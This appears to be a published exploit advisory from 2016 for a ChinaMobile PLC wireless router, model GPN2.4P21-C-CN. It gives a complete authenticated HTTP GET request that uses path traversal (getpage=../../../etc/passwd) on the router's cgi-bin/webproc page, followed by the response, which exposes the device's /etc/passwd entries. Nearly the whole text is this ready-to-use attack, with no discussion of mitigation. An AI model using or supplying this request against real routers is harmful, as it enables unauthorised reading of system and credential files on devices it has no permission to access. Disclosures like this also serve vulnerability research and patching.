PLC Wireless Router GPN2.4P21-C-CN File Disclosure

`# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Authorised Arbitrary File Disclosure  
# Date: 28/08/2016  
# Exploit Author: Rahul Raz  
# Affected Model : GPN2.4P21-C-CN(Frimware- W2001EN-00  
#Vendor: ChinaMobile  
# Tested on: Ubuntu Linux  
_____________________________________________________  
  
GET  
/cgi-bin/webproc?getpage=../../../etc/passwd&var:language=en_us&var:menu=setup&var:page=connected  
Host: 192.168.59.254  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101  
Firefox/48.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: sessionid=64857d81  
Connection: keep-alive  
  
Response  
HTTP/1.0 200 OK  
Connection: close  
Content-Type: text/html  
Pragma: no-cache  
Cache-Control: no-cache  
Set-Cookie: sessionid=64857d81; expires=Fri, 31-Dec-9999 23:59:59 GMT;  
path=/  
  
  
#root:x:0:0:root:/root:/bin/bash  
#root:x:0:0:root:/root:/bin/sh  
#root:x:0:0:root:/root:/usr/bin/cmd  
#tw:x:504:504::/home/tw:/bin/bash  
#tw:x:504:504::/home/tw:/bin/msh  
  
`